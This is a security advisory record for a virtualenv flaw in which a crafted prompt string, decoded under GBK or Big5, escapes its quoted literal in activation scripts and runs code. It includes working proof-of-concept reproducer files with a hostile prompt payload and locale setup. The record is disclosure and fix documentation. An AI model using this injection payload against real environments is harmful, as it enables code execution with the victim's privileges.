{"id":"CVE-2026-113718","aliases":["GHSA-394h-qwmc-48pf"],"url":"https://o3.security/vulnerability/CVE-2026-113718","summary":"virtualenv: Xonsh activation literals depend on the script decoding codec","details":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv quote()\n    participant F as activate.xsh bytes\n    participant X as xonsh source\n    A->>V: 中 plus escaped quote and statements\n    V->>F: repr writes UTF-8 中 followed by backslash\n    alt XONSH_ENCODING is UTF-8\n        F->>X: backslash remains an escape\n        X-->>A: prompt remains data\n    else XONSH_ENCODING is GBK or Big5\n        F->>X: decoder consumes backslash as trail byte\n        X->>X: quote closes and statements run\n    end\n    Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK:   {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\"<code_set_name> GBK\", \"<comment_char> %\", \"<escape_char> /\", \"<mb_cur_min> 1\", \"<mb_cur_max> 2\", \"CHARMAP\"]\ncharmap += [f\"<U{byte:04X}> /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n    for trail in range(0x40, 0xFF):\n        try:\n            char = bytes([lead, trail]).decode(\"gbk\")\n        except UnicodeDecodeError:\n            continue\n        charmap.append(f\"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n    charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n    sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper <U0041>..<U005A>\nlower <U0061>..<U007A>\ndigit <U0030>..<U0039>\nspace <U0009>..<U000D>;<U0020>\ncntrl <U0000>..<U001F>;<U007F>\npunct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>\nxdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>\nblank <U0009>;<U0020>\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","published":"2026-10-20T19:39:52.633Z","modified":"2026-10-24T02:48:45.507929648Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"virtualenv","fixedVersion":"21.14.9"}],"fix":{"url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0","label":"pypa/virtualenv@e5fc2e6"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113718.json"},{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3432"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:48:45.507929648Z"}}